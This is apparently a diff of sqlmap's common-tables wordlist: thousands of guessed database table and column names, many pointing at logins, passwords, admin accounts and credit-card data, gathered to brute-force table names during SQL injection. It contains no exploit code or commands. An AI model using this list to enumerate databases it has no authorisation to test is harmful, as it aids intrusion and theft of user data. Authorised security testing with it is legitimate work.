-LT_PROCEDIMENTO -calendario -D_US_FAVORITOS -moradia -pessoa_telefone -contador -aidf -resumo -add_irm -M_ESQUEMA_PERMISSAO -duvida -LT_METODO_ATUALIZACAO -M_RELATORIOS -LT_SERIE -estados -LT_OBJETO -cidade -declaracaonf -especieaidf -S_SESSOES -D_PR_HONORARIOS -empresa_atividade -correcaostrategy -jos_docman_groups -D_US_RECENTE -notafiscal -solicitacao -pessoa_endereco -atividade -M_FATURAS -D_PR_APENSOS -agencia -LT_LANCAMENTO -D_US_AREA_DE_TRABALHO -D_FA_ITENS -dist_universidade -multastrategy_faixamulta -LT_TIPO_DE_ACAO -D_PR_EVENTOS -D_FA_PARCELAS -tipodeducao -D_PR_PARCELAMENTO -sala -D_US_EQUIPES_DO_USUARIO -cidadao -documentos -S_GLOBAL -M_CADASTRO_GERAL -jos_docman_licenses -guiaavulsa -solicitacaosenha -M_CUBOS -promocoes -grau_escolaridade -imagens -multastrategy -D_PR_PARTES -processo -gestor -imagem -categorias -LT_CLASSE_FORO -jurosstrategy -deducao -S_PARAMETROS -notafiscal_deducao -CAIXA -foto -M_FERIADOS -S_ORIGENS -guiaavulsa_itemguiaavulsa -situacaoitem -notafiscal_itemnotafiscal -cotacao -papel -M_EMAIL_FILA -D_PR_OBJETOS -dados_prefeitura -S_LOG -LT_FASE -D_PR_ADVOGADOS -M_USUARIO -projeto -LT_SITUACAO -D_PR_CUSTAS -grupoatividade -LT_NATUREZA -membros_familia -instituicao -emprestimos -itemguiaavulsa -D_EM_DESTINATARIO -LT_GRUPO -S_SEQUENCIAS -itemnotafiscal -disciplina -jos_docman -autorizacaonfe -tipo_bolsa -estoque -LT_JURISDICAO -serie -sse_estudante -LT_FOROS -perfil -despesa_familia -noticias -LT_GARANTIA -M_ESQUEMA_HORARIO -MM_NOTIFICACOES_DO_PROCESSO -jos_jce_plugins -grau_parentesco -D_PR_GARANTIAS -M_SERVICOS_PRESTADOS -LT_CATEGORIA -faixamulta -encerramento -M_PROCESSOS -dados_familia -MM_USUARIOS_DO_PROCESSO -LT_ENCERRAMENTO -LT_DECISAO -indice -contador_empresa -sse_familia -D_SE_INDICES -cursos -estado_civil -dados_estudante -LT_EQUIPES -LT_PROGNOSTICO -LT_EVENTO -jos_jce_groups -D_PR_DOCUMENTOS -D_PR_DESDOBRAMENTOS -logradouro -despesa_aluno -fiscal -LT_CUSTOM4 -convite -manutencao -LT_CUSTOM1 -LT_CUSTOM2 -LT_CUSTOM3 - -# site:es -jos_respuestas -DEPARTAMENTO -EMPLEADO -TRABAJA_EN -DEPENDIENTE -LOCALIZACIONES_DEPT -PROYECTO -lineas_fac -pueblos -NUEVOS -CENTROS -BANCOS -PERSONAL -SUCURSALES -PRODUCTOS -provincias -jos_estadisticas -USUARIO -ALUM -MOVIMIENTOS -ACTOR -nuke_gallery_rate_check -ANTIGUOS -CUENTAS -vendedores -CLIENTES -articulos -DEPARTAMENTOS -PROFESORES -jos_preguntas -PEDIDOS -EMPLEADOS -nuke_gallery_pictures_newpicture -Books -grupo -facturas - -# site:cn -url -cdb_adminactions -BlockInfo -cdb_attachtypes -cdb_attachments -mymps_lifebox -cdb_buddys -mymps_payapi -LastDate -cdb_medals -mymps_payrecord -cdb_forumlinks -cdb_adminnotes -cdb_admingroups -cdb_creditslog -stkWeight -mymps_checkanswer -cdb_announcements -cdb_bbcodes -cdb_advertisements -cdb_memberfields -mymps_telephone -cdb_forums -cdb_forumfields -cdb_favorites -cdb_banned -cdb_crons -cdb_access -cdb_invites -sysmergeschemaarticles -CodeRuleType -cdb_membermagics -cdb_imagetypes -cdb_memberspaces -cdb_campaigns -pw_wordfb -cdb_paymentlog -cdb_adminsessions -pw_adminset -seen -t_snap -MSmerge_altsyncpartners -zl_deeds -pw_styles -pw_announce -cdb_pluginvars -pw_smiles -cdb_modworks -ncat -mymps_member_tpl -pw_threads -zl_admin -cdb_onlinetime -cdb_mythreads -cdb_members -spt_datatype_info -mymps_certification -mymps_badwords -seentype -mymps_cache -zl_article -spt_datatype_info_ext -cdb_debateposts -mymps_corp -mymps_member_album -mgbliuyan -pw_schcache -zl_finance -pw_banuser -mymps_news -cdb_pluginhooks -mymps_member_docutype -wp1_categories -cdb_magicmarket -MSmerge_errorlineage -cdb_activities -zl_baoming -cdb_orders -ad_ad -cdb_pms -cdb_magics -cdb_itempool -phpcms_announce -pw_actions -pw_msg -mymps_news_img -cdb_debates -cdb_magiclog -pw_forums -mymps_channel -cdb_polls -t_stat -pw_attachs -cdb_plugins -pw_membercredit -cdb_posts -mymps_member_category -cdb_activityapplies -zl_media -acctmanager -pw_usergroups -cdb_faqs -cdb_onlinelist -pw_hack -mymps_member_comment -Market -mymps_config -mymps_mail_template -mymps_advertisement -MSrepl_identity_range -pw_favors -mymps_crons -pw_config -pw_credits -cdb_failedlogins -mymps_member_docu -pw_posts -cdb_attachpaymentlog -cdb_myposts -cdb_polloptions -wp1_comments -cdb_caches -pw_members -mymps_upload -spt_provider_types -pw_sharelinks -pw_tmsgs -pw_polls -cdb_moderators -pw_bbsinfo -aliasregex -userfiles -acctmanager2 -cdb_pmsearchindex -mymps_news_focus -cdb_forumrecommend -publishers -zl_advertisement -guanggaotp -pw_memberinfo -aliastype -mymps_mail_sendlist -mymps_navurl - -# List provided by Pedrito Perez (0ark1ang3l@gmail.com) -adminstbl -admintbl -affiliateUsers -hsa_user -tblmanager -tblmanagers -tblproduct -tblproducts -tuser -tusers -userstbl -usertbl +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +users +customer +user +orders +employee +x_world +category +project +account +customers +country +config +groups +inventory +department +categories +messages +person +comments +sessions +student +items +employees +language +accounts +product +CUSTOMER +faculty +location +item +authors +parts +members +countries +status +menu +dependent +modules +role +products +page +chart +task +posts +DEPT +Person +user_role +ORDERS +emp +album +EMP +log +INVENTORY +payments +part +permission +contact +borrower +report +color +admin +SALGRADE +PRODUCT +vendor +tax +branch +projects +data +course +jobs +watchlist +shipment_line +CATEGORY +categoryNames +attributeCategory +db +PS_DMK +study +event +invoice +order_source +topics +students +order_line +regions +CPG_config +news +dept +permissions +events +shipment +sections +ITEM +hosts +form_definition_version +alias +people +role_permission +applications +CPG_usergroups +image +organization +courses +loan +form_definition +configuration +hibernate_unique_key +order +form_error +payment +Author +history +task_param +movies +dept_locations +track +services +EMPLOYEE +works_on +patient +Student +form_data +setting +PUBLISHER +partsgroup +languages +depositor +CPG_categories +book +Orders +job_history +metadata +exchangerate +shipto +rcpt +team +address +tasks +queue_info +subscribers +city +field_options +locations +statename +BOOK +zuseserver +ap +ar +Employees +USER +userInfo +telephone +session +User +video +LOCATION +tf_links +ACCOUNT +artist +property +the +request +acc_trans +lending +postaladdress +Customers +xmldocument +jiveID +domain +promotion +CPG_filetypes +assembly +business +orderitems +locale +gl +links +located +identities +sizes +companies +payload +Organization +protocol +transfers +encompasses +borders +profiles +salesorder +mailbox +contacts +tables_priv +admin_logs +text +phpbb_config +plugin +stores +host +Book +gifi +user_groups +term +internetaddress +tf_settings +region +poll +makemodel +partstax +catalog +question +vendors +departments +notes +delivery_quality +queries +identification +friends +PERSON +course_section +jiveRemoteServerConf +channels +object +chip_layout +login +user_newtalk +entrants +Device +imageInfo +developers +items_template +defaults +osc_products +mucRoomProp +settings +DEPENDENT +imageCategoryList +islandIn +mobile_menu_text +jiveUserProp +osc_products_options_values +wp_posts +package +mucRoom +vendortax +attrs +config_seq +company +register +checksum_results +ENROLLMENT +operation +binaries +COURSE_SECTION +Students +func +enrollment +readers +action_element +friend_statuses +Domain +servers +UserFields +revision +meals +resources +mixins +sys_options_cats +licenses +SIGNON +clients +Apply +ThumbnailKeyword +form_definition_text +system +jiveOffline +tickers +BANNERDATA +mucAffiliation +rooms +objectcache +collection_item_count +jiveRoster +Volume +lookup +investigator +math +jivePrivate +osc_manufacturers_info +PROFILE +categories_posts +Flight +Gallery +scripts +AUTHOR +physician +client +cv_country_synonyms +osc_categories +interwiki +archive +members_networks +language_text +UserType +friend +osc_products_description +osc_products_to_categories +article +recentchanges +media +conducts +sales +CurrentUsers +Country +querycache +Publication +Pilot +Regions +DEPT_LOCATIONS +master_table +funny_jokes +jos_vm_payment_method +osc_products_images +specialty +visits +ipblocks +WidgetPrices +experiment +Publisher +control +protocol_action +jivePrivacyList +subImageInfo +plugin_sid +message_statuses +state +GalleryThumb +hitcounter +jiveGroupProp +ingredients +community_item_count +jiveExtComponentConf +SEQUENCE +Continent +rights +Path +osc_manufacturers +logging +sailors +Description +warehouse +DEPARTMENT +legacy_things +jiveVCard +agent +CPG_bridge +CUSTOMERS +jiveProperty +app_user +keyboards +categorylinks +grants +Action +WidgetReferences +product_type +developers_projects +userAttribute +form_data_archive +action_attribute +Thumbnail +jiveGroupUser +computers +customertax +sector +networks +columns_priv +globals +Widgets +TERM +salgrade +mucMember +imagelinks +exchange +Status +WORKS_ON +lines +testusers +mobile_menu +staff +tblusers +hashes +partner +Product +personnel +ads +osc_specials +Keyword +supplier +agent_specialty +pokes +profile_pictures +oldimage +isMember +userImageRating +detail_table +osc_products_attributes +officer +COURSE +Time +locatedOn +medicalprocedure +mergesWith +author +UserFieldsInfo +Employee +oe +insurance +SUPPLIER +song +imageAttribute +views_track +extremes +jiveRosterGroups +webcal_config +phpbb_ranks +triggers_template +appVersions +DUMMY +ROLE +activity +study_text +osc_products_options +City +osc_reviews +edge +questions +partof +blobs +tag +userSession +vcd +job +site_stats +mucConversationLog +sequence +madewith +OperationStatus +SPJ +zutat_cocktail +zipcodes +insertids +ChemList +product_category +hero +reports +devel_logsql +f_sequence +MEMBER +ClassificationScheme +ez_webstats_conf +credential +utilise +ACL_table +service_request_log +feedback +vars +tblblogentriescategories +assignment +CUST_HIST +ew_menu +time_zone_transition_type +child_configs +LIBRARY_BRANCH +Company +Component +webcal_entry_log +transactions +webcal_entry_ext_user +dept_location +ConsultantsTable +phonelist +sys_acl_actions +participate +population +dtb_order +files_config +PropColumnMap +result +triggers +audittrail +userlist +backgroundJob_table +sf_guard_user_permission +my_lake +sampleData +reciprocal_partnersites +rss_categories +ADMIN +Factory_Output +geo_Estuary +phpbb_themes +forum +ClientsTable +rating_track +iplinks +maxcodevento +reciprocal_admin +ew_moduli +CheckType +cmLanguage +phpbb_points_config +guava_sysmodules +querycachetwo +BOOK_AUTHORS +records +reciprocal_config +newsletter_queue +passwds +phpbb_posts_text +biosample +connectorassocs +BOOK_COPIES +jos_sections +vote +SCRIPT +THOT_CATEGORY +artifact +object_types +pages +usuario +CE_table +phpbb_forums +tbl_country +Products +dtb_bat_order_daily +site_wtype +geo_mountain +expression +Simple_Response +photoo +photos +version_data +allocation +dtb_category_total_count +habilidad +PREFIX_group_lang +work_orders +SELLER +cv_soil +taxon +bkp_ItemResource +ezcontentobject_trash +webcal_view +pagecontent +Collection +maxcodcurso +phpbb_user_group +InstanceStringTable +bldg_types +t1 +mailaddresses +section +m_type +configlist +trade +Parameter +tbl_works_categories +help_category +bkp_String +Class_Display_Sequence +EPIXEIRISI +sounds +phpbb_groups +dtb_campaign +produit +adblocks +vendor_seq +guava_theme_modules +dtb_pagelayout +bookings +writes +writer +distance +jforum_groups +Polynomial +river +GROUP +sea +IDIOTIS +cmPublication +last +UsageParameter +phpbb_topics +t_peep +PREFIX_group +dtb_delivfee +equipment_type_seq +wp_users +news_category +SchemaInfo +WidgetDescriptions +dtb_category_count +sidebar +facets +jforum_roles +geo_Lake +religion +nuke_gallery_media_class +cia +DatabaseInfo +THOT_THEME +enrolled +liste_domaines +DEMO_PROJECTS +ORDERSTATUS +site_iwis +MountainOnIsland +bkp_ItemReference +Category +Mountain +INSTITUTE +POINT +forum_vote +THOT_TYPE +cmts_track +bkp_ItemReplication +hostbenchmarks +filearchive +f_spatialcontext +UM_ROLE_ATTRIBUTES +SCALE +maclinks +books +interactions +graphs_items +stars +BID +enrolls +site_environment +user_types +Severity +partscustomer +wp_pod_types +River +marital_status +PZ +PN +email +CustomerCards +mtb_zip +Campus +hardware +dtb_other_deliv +pricegroup +commissionEmployees +cv_pests_diseases +tbl_tech +macswitches +cc_config +audit +colour +command +audio +egresado +transport +schedule +routers +zips +Descriptions +software +wh_der_children +delivery +placex +cv_crops +problem +Station_Data +account_transaction +time_zone_name +numedia +THOT_DEEP +ZENTRACK_VARFIELD_IDX +roads_endpoints +Propdesc_table +general_log +peer_configs +hot_prop +phones +ServiceBinding +emailinfo +dtb_member +cmSiteNode +nodes +sbreciprocal_cats +rss_read +bombing +tblblogtrackbacks +fragment +dtb_review +tblblogsearchstats +datasources +CPG_users +vrls_partners +guava_roles +webcal_user_layers +ANSWER_GROUP_DETAIL +tbl_clients +dtb_kiyaku +EmailAddress +Sea +powers +reserve +LINEITEM +project_user_xref +Agent +idioma +dtb_campaign_detail +jos_components +user_rights +tf_messages +Class_Def_Table +geo_lake +tissue +ligneDeFacture +PZ_Data +tf_cookies +archtypes +cmts +photo +dtb_bloc +user_preferences +D_Abbreviation +data_set_association +site_location +jforum_posts +Property +pg_ts_dict +badspy +gearing +credenziali +abstract +evidence +files +test +intUsers +tblblogentries +cocktail_person +cdv_curated_allele +REORDER +Religion +turns +MetadataValue +curso +redirect +accountuser +StateType +forum_user_stat +Descriptions_Languages +m_users_profile +Booked_On +tblblogroles +organizations +topic +economy +Model +maxcodcorreo +RATING +Transactions +Chemicals +m_data +USER_GROUP +equipment_type +geo_Island +sysmaps +ezin_roles +phpbb_themes_name +dtb_send_history +dtb_send_customer +cart +size +pg_ts_cfgmap +QUESTION +DC_Data +webcal_group_user +telefono +builds +tbluserroles +webcal_site_extras +solde +document +m_users_acct +vendor_types +fruit +Service +PART +cell_line +dtb_bat_order_daily_age +images +apartments +THOT_ALPHA +ippaths +area +SYNALLAGI +sysmaps_hosts +tbl_works +statuses +webcal_user +customurl +THOT_YEAR +correo +Factory_Master +inv_lines_seq +certificates +webcal_asst +ostypes +POINT_SET +forum_flag +bugs +taxonomy +UM_ROLES +payer +tf_log +job_title +ask +wp_options +forum_user_activity +trackbacks +wp_pod_fields +translation +cdv_passport_group +User_ +Users +access_control +my_county +zoph_people +account_permissions +ORDERLINES +wp_term_relationships +pictures +product_font +Departure +routerbenchmarks +bkp_Item +Channel_Data +realtable +odetails +user_type_link +belong +ezin_users +time_zone_transition +ew_tabelle +ezsearch_return_count_new +m_users +Economy +tbl_works_clients +geo_Mountain +dtb_category +tmp +reservation +geo_Desert +dtb_payment +forum_topic +ezsearch_search_phrase_new +Equipment +MetadataSchemaRegistry +basePlusCommissionEmployees +addresses +phpbb_search_wordlist +user_defined_attribute +fournisseurType +dpt_trans +PostalAddress +defaultinsertid +Politics +pools +cocktail_lokal +dtb_blocposition +templatelinks +jforum_ranks +D_Format_Data +tblblogtextblocks +time_zone_leap_second +rss +Decimation +dtb_user_regist +f_options +siteIndexTable +Administrator +phpbb_users +ezin_authors +SpecificationLink +videos +sf_guard_remember_key +employer +leases +phpbb_smilies +stats +f_spatialcontextgroup +experiencia +dtb_csv +line_items_seq +ndb_binlog_index +zoph_categories +help_topic +transaction +wp_links +cdv_allele_curated_allele +timeperiod +item_master_seq +GLI_profiles +cv_countries +journal +tf_users +mwuser +stories +dtb_table_comment +Lake +SQLDATES +phpbb_search_wordmatch +friend2 +functions +comboboxes +std_item +jiveVersion +sf_guard_group +Classification +Sensitivity +PREFIX_category_group +preferences +credit +geo_sea +type +knjiga +FindCriteria +zoph_prefs +webcal_entry_repeats +room +domain_info +SALES +profession1 +SUPPORT_INCIDENTS +PERMISSION +Defect +Desert +KARTA +UM_ROLE_PERMISSIONS +Purchases +PREFIX_configuration +guava_themes +alltypes +webcal_view_user +vrls_xref_country +subject +continent +D_Format +dtb_recommend_products +Linkdesc_table +TelephoneNumber +dtb_customer_mail_temp +copyrights +DEMO_ASSIGNMENTS +guava_group_assignments +jforum_extensions +zutat +ew_user +alerts +partsvendor +jiveGroup +organization_seq +dtb_customer_reading +configuratore +tbl_event +my_street +osvendors +softwares +Session +admins +TIL_IDIOTON +EthnicGroup +reviews +tblblogentriesrelated +guava_packages +GRouteDetail +cdv_reason +membership +bkp_RS_Servers +vrls_listing_images +schema_info +entity +group +ClassificationNode +dtb_best_products +cv_cropping_system +egresadoxidiomaxhabilidad +locus_data +dtb_order_temp +tblblogsubscribers +account_log +facture +MetadataFieldRegistry +BRANCH +orgs +DM +NextID_table +webcal_group +DC +wp_pod_widgets +chromosomes +Name +roster +dtb_csv_sql +synchro_type +langlinks +genres_in_movies +Province +answerOption +wp_postmeta +ERDESIGNER_VERSION_ID +calendar +cmEvent +forum_user +SalesReps +ew_gruppi +vrls_xref_state_province +conferences +pay +Plane +webcal_entry_repeats_not +Island +tbl_works_tech +webcal_import +nuke_gallery_comments +monthlabel +tblblogcomments +dtb_delivtime +product_size_multi +manufacturer +Tasks +island +coupon +webcal_report +RegistryPackage +sysmaps_links +procs_priv +invoices_seq +film +genres +field +vertex +FoundThumbs +reciprocal_links +Course +idiomaxegresado +ordreReparation +Assigned_To +ORDERITEMS +PREFIX_product_attribute_image +COLLECT_SITE +THOT_CONCEPT +publisher +dtb_mailmaga_template +DSObject_table +forum_post +sf_guard_permission +Prefixes +dtb_update +BROWSE +tf_rss +TIME +reciprocal_mails +association +typeFacture +StringTable +CATEGORIES +Language +mountain +ad_locales +ExtrinsicObject +geo_island +derived_types +snipe_gallery_cat +guava_roleviews +production_wtype +AccountXML1 +wh_man_children +product_colour_multi +ike_configs +intUseringroup +study_user +pg_ts_cfg +connectorswitches +procedure_biosample +theday +fournisseur +typeProduit +BOOKAUTHOR +passwords +keys +AuditableEvent +ExternalIdentifier +source +BOOK_LOANS +UserRole +vrls_xref_listing_offer_type +cmRole +PREFIX_search_engine +my_poi +Channel_Comment +forum_cat +invite +PREFIX_order_return_state +experimental_data_set +DOCUMENT_FIELDS +Scripts +desert +Can_Fly +synchro_element +maxcodtelefono +enrollments +tblblogpages +f_attributedefinition +intGroups +way_nodes +THOT_TARGET +MOMENT +dtb_classcategory +product_price +relation_members +PREFIX_access +dtb_deliv +webcal_categories +Parts +invoices +ANSWER +tbl_categories +yearend +DEPARTMENTS +account_level +ref +help_relation +zoph_users +procedure_data_set +Association +mtb_pref +ANSWER_GROUP +GDirectedRoute +graphs +occasion +account_temp +nuke_gallery_categories +areas +cmContentVersion +checksum_history +accessTable +cameFromTable +services_links +Coefficients +reglement +maxcodexperiencia +vrls_xref_listing_type +adv +lake +tests +Offices +Editor +wp_pod_pages +Extlangs +seq_gen +rss_subscription +Station_Comment +jforum_config +geo_River +facilities +connectorlinks +file_storage +neuf +school +wp_term_taxonomy +m_plans +ligneDeCommande +FORM_QUESTION +history_str +f_classtype +endpoints +zoph_albums +bkp_ItemPresentation +tblblogcategories +traffic_selectors +FORM +creditcards +people_reg +country_partner +jforum_users +dtb_mail_history +priorities +relations +combustiblebois +slow_log +WROTE +flow +pay_melodies +dtb_templates +variable_interest +dtb_class +ZENTRACK_VARFIELD +catalogue +wp_usermeta +time_zone +games +wp_terms +sf_guard_user_group +honorsinfo +maxcodestudio +estudio_academico +RECORD +Room +alarms +ew_temi +clubs +net_pm +tbl_state +cmContentTypeDefinition +radacct +peer_config_child_config +cmAvailableServiceBinding +Poles_Zeros +ipmacassocs +m_news +dtb_news +shared_secrets +UsageDescription +rol +phpbb_posts +ipassocs +cmSystemUser +phpbb_categories +FoundLists +channelitems +lokal +subcategory +Languages +jiveSASLAuthorized +cocktail +cust_order +THOT_SOURCE +product_font_multi +presence +UM_USERS +jiveUser +wp_comments +dtb_bat_order_daily_hour +jos_vm_category +CONTACT +SpecialityTable +librarian +geo_river +MonitorStatus +pagelinks +ways +cities +PREFIX_order_return_state_lang +subscriber +prereq +Slot +rss_item +UM_USER_ROLES +PREFIX_timezone +evento +guava_views +cmServiceDefinition +Variants +searchindex +actions +cdv_passport_set +production_multiple +page_log_exclusion +furniture +nuke_gallery_pictures +oc +os +PREFIX_tab_lang +lc_fields +framework_email +datasets +externallinks +geo_desert +politics +hourlyEmployees +D_Comment +EMPLOYEES +individual +m_with +program +combustible +ezin_articles +help_keyword +POSITION +stars_in_movies +glas +cmRepository +dtb_mailtemplate +DIM_TYPE +cart_table +D_Unit +macassocs +changeTva +UM_PERMISSIONS +geo_Source +cdv_marker +nuke_gallery_template_types +UM_USER_ATTRIBUTES +Aircraft +store +Descriptions_Variants +trigger_depends +guava_role_assignments +ExternalLink +bkp_RS_Clusters +PN_Data +users_sessions +webcal_nonuser_cals +parent_test +cmServiceBinding +BUYER +transcache +dtb_question_result +rss_category +profiling +THOT_LANGUAGE +cmContent +Descriptions_Scripts +DSProp_table +webcal_report_template +service_request +resource_types +THOT_SUB_MENU +bkp_ResourceFolder +PREFIX_tab +province +dtb_bat_relate_products +changePrix +proc +ewst_sessioni +nuke_gallery_media_types +outdoor_spaces +po_seq +salariedEmployees +grp +jforum_topics +array_data +most_recent_checksum +m_earnings +product_related +dtb_baseinfo +webcal_import_data +federationApplicants +melodies +jforum_forums +sf_guard_group_permission +sys_acl_matrix +country_diseases +dtb_order_detail +sic +PROJECT +log_fake_referers +ROLE_PERM +isDeleted_table +vrls_listings +Table +sf_guard_user +Subject +cdv_curation +dictionary +forum_report +institution +cmQualifyer +jforum_categories +site_climatic +phpbb_points_values +zoph_color_schemes +TypeRule +dtb_customer +PREFIX_customer_group +ProjectsTable +dtb_products +words +dtb_question +UM_USER_PERMISSIONS +exam +commande +dtb_products_class +subscribe +page_restrictions +querycache_info +cdv_map_feature +Link_table +guava_users +connectormacassocs +moduleexecs +guava_groups +Institution +sconfig +shared_secret_identity +platforms +BORROWER +phpbb_acl_options +markers +Population +shipping +guava_preferences +rating +UserCapability +Priority +rec_jobs +ezin_sections +Descriptions_Regions +SPACE +geo_Sea +DATA_ORG +Contributor +wallet +balance +flag + +# Various Joomla tables + +jos_vm_product_download +jos_vm_coupons +jos_vm_product_reviews +jos_core_acl_aro +jos_vm_shopper_vendor_xref +jos_stats_agents +jos_vm_orders +jos_poll_menu +jos_content_rating +jos_vm_vendor +jos_vm_product_mf_xref +jos_vm_export +jos_polls +jos_content_frontpage +jos_vm_userfield_values +jos_categories +jos_poll_data +jos_vm_manufacturer +jos_vm_order_user_info +jos_core_acl_groups_aro_map +jos_messages +jos_vm_zone_shipping +jos_bannertrack +jos_vm_order_status +jos_modules_menu +jos_core_log_items +jos_modules +jos_users +jos_vm_product_category_xref +jos_vm_product_attribute +jos_poll_date +jos_vm_vendor_category +jos_vm_state +jos_vm_country +jos_weblinks +jos_vm_cart +jos_vm_shipping_label +jos_vm_manufacturer_category +jos_vm_shopper_group +jos_vm_product_votes +jos_vm_currency +jos_vm_creditcard +jos_menu +jos_groups +jos_messages_cfg +jos_vm_order_payment +jos_content +jos_bannerclient +jos_vm_product_discount +jos_core_log_searches +jos_vm_auth_user_group +jos_contact_details +jos_vm_auth_group +jos_vm_waiting_list +jos_vm_category_xref +jos_newsfeeds +jos_vm_auth_user_vendor +jos_vm_user_info +jos_vm_function +jos_vm_product_files +jos_vm_userfield +jos_vm_shipping_carrier +jos_core_acl_aro_map +jos_vm_shipping_rate +jos_vm_product +jos_vm_product_product_type_xref +jos_core_acl_aro_groups +jos_templates_menu +jos_menu_types +jos_plugins +jos_session +jos_vm_order_item +jos_vm_module +jos_vm_product_attribute_sku +jos_vm_product_price +jos_vm_csv +jos_migration_backlinks +jos_vm_product_relations +jos_core_acl_aro_sections +jos_vm_order_history +jos_banner +php_users +ALL_USERS +banned_users +users_tmp +users_club +publicusers +cmsusers + +# List provided by Anastasios Monachos (anastasiosm@gmail.com) + +blacklist +cost +moves +pelates +tamio +tameio +xristes +zones +tamio_pelates +kwdikos +addressbookgrp +sendmsgs +publicationauthor +publicationfile +topicpublication +userrights +comp_group +computers_ID +event_log +networking +routing +software_licenses +ips +arxeia +SMS_TABLE +TABLE_PRIVILEGE_MAP +AMUSER +CONTACTTYPE +CONTENT +DOWNLOADGROUP +DOWNLOADS +DOWNLOADTYPE +EMAIL +ENQUIRY +FACTSHEET +FUND +FUNDGROUP +HISTORY +MANAGEMENTGROUP +SUBSCRIBE +TBLUSERS +TBLLIST +TBLLOG +TBLPROFILES +TBLREPORTS +TBLTRANSACTIONS +TBLRETAILUSERS +TBLCORPUSERS +TBLCORPORATEUSERS + +# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) + +tbladmins +sort +_wfspro_admin +4images_users +a_admin +adm +admin_login +admin_user +admin_userinfo +administer +administrable +administrate +administration +administrator +administrators +adminrights +adminuser +art +article_admin +articles +artikel +aut +autore +backend +backend_users +backenduser +bbs +chat_config +chat_messages +chat_users +clubconfig +content +cpg_config +cpg132_users +customers_basket +dbadmins +dealer +dealers +diary +download +Dragon_users +e107_user +fusion_user_groups +fusion_users +ibf_admin_sessions +ibf_conf_settings +ibf_members +ibf_members_converge +ibf_sessions +icq +index +info +ipb_sessions +joomla_users +jos_blastchatc_users +jos_comprofiler_members +jos_joomblog_users +jos_moschat_users +knews_lostpass +korisnik +korisnici +kpro_adminlogs +kpro_user +login_admin +login_admins +login_user +login_users +logins +logon +logs +lost_pass +lost_passwords +lostpass +lostpasswords +m_admin +main +mambo_session +mambo_users +manage +manager +mb_users +member +memberlist +minibbtable_users +mitglieder +movie +mybb_users +mysql +name +names +news_lostpass +newsletter +nuke_authors +nuke_bbconfig +nuke_config +nuke_popsettings +nuke_users +obb_profiles +parol +partners +passes +password +perdorues +perdoruesit +phorum_session +phorum_user +phorum_users +phpads_clients +phpads_config +forum_users +poll_user +punbb_users +pwd +pwds +reg_user +reg_users +registered +reguser +regusers +cards +site_login +site_logins +sitelogin +sitelogins +sites +smallnuke_members +smf_members +SS_orders +statistics +superuser +sysadmin +sysadmins +sysuser +sysusers +table +tables +tb_admin +tb_administrator +tb_login +tb_member +tb_members +tb_user +tb_username +tb_usernames +tb_users +tbl +tbl_user +tbl_users +tbluser +tbl_client +tblclients +tblclient +usebb_members +user_admin +user_info +user_list +user_login +user_logins +user_names +usercontrol +userinfo +userlogins +username +usernames +vb_user +vbulletin_session +vbulletin_user +voodoo_members +webadmin +webadmins +webmaster +webmasters +webuser +webusers +x_admin +xar_roles +xoops_bannerclient +xoops_users +yabb_settings +yabbse_settings +ACT_INFO +ActiveDataFeed +CategoryGroup +ChicksPass +ClickTrack +CountryCodes1 +CustomNav +DataFeedPerformance1 +DataFeedPerformance2 +DataFeedPerformance2_incoming +DataFeedShowtag1 +DataFeedShowtag2 +DataFeedShowtag2_incoming +dtproperties +Event +Event_backup +Event_Category +EventRedirect +Events_new +Genre +JamPass +MyTicketek +MyTicketekArchive +News +PerfPassword +PerfPasswordAllSelected +Promotion +ProxyDataFeedPerformance +ProxyDataFeedShowtag +ProxyPriceInfo +Region +SearchOptions +Series +Sheldonshows +StateList +States +SubCategory +Subjects +Survey +SurveyAnswer +SurveyAnswerOpen +SurveyQuestion +SurveyRespondent +sysconstraints +syssegments +tblRestrictedPasswords +tblRestrictedShows +TimeDiff +Titles +ToPacmail1 +ToPacmail2 +UserPreferences +uvw_Category +uvw_Pref +uvw_Preferences +Venue +venues +VenuesNew +X_3945 +tblArtistCategory +tblArtists +tblConfigs +tblLayouts +tblLogBookAuthor +tblLogBookEntry +tblLogBookImages +tblLogBookImport +tblLogBookUser +tblMails +tblNewCategory +tblNews +tblOrders +tblStoneCategory +tblStones +tblUser +tblWishList +VIEW1 +viewLogBookEntry +viewStoneArtist +vwListAllAvailable +CC_info +CC_username +cms_user +cms_users +cms_admin +cms_admins +user_name +jos_user +table_user +mail +bulletin +cc_info +login_name +admuserinfo +SiteLogin +Site_Login +UserAdmin +Admins +Login +Logins + +# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html + +account +accnts +accnt +user_id +members +usrs +usr2 +accounts +admin +admins +adminlogin +auth +authenticate +authentication +account +access +customers +customer +config +conf +cfg +hash +login +logout +loginout +log +member +memberid +password +pass_hash +pass +passwd +passw +pword +pwrd +pwd +store +store1 +store2 +store3 +store4 +setting +username +name +user +user_name +user_username +uname +user_uname +usern +user_usern +un +user_un +usrnm +user_usrnm +usr +usernm +user_usernm +user_nm +user_password +userpass +user_pass +user_pword +user_passw +user_pwrd +user_pwd +user_passwd + +# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) + +wsop +Admin +Config +Settings +tbl_admin +tbl_admins +tbl_member +tbl_members +tblservers +id +uid +userid +user_id +auid +adminpass +LoginID +FirstName +LastName +cms_member +cms_members +Webmaster +Webuser +tbl_tbadmin +Adminlogin +useraccount +nguoidung +quanly +quantri +dangnhap +taikhoan +taikhoanquantri +useraccounts +nguoidungs +tbuser +tblogin +tbadmin +tbaccount +tbuseraccount +tbnguoidung +tbllogin +tbladmin +tblaccount +tbluseraccount +tblnguoidung +tbusers +tblogins +tbadmins +tbaccounts +tbuseraccounts +tbnguoidungs +tbllogins +tblaccounts +tbluseraccounts +tblnguoidungs +tb_account +tb_useraccount +tb_nguoidung +tbl_login +tbl_account +tbl_useraccount +tbl_nguoidung +tb_logins +tb_accounts +tb_useraccounts +tb_nguoidungs +tbl_logins +tbl_accounts +tbl_useraccounts +tbl_nguoidungs +tb_admins +adminid +admin_id +adminuserid +admin_userid +AdminUID +adminusername +admin_username +adminname +admin_name +usr +usr_n +usrname +usr_name +usrnam +useradmin +apwd +adminpaw +adminpwd +admin_pwd +admin_pass +adminpassword +admin_password +admin_passwords +usrpass +usr_pass +pass +userpass +user_pass +dbaccount +dbstudent +dbstudents +dbadmin +useres +dbuser +dbusers +personal +dbpersoon +list +lists +dblist +userpassword +user_password +userpwd +user_pwd +SecurityLevel +LastLoginDate +LoginIP +pword +ad 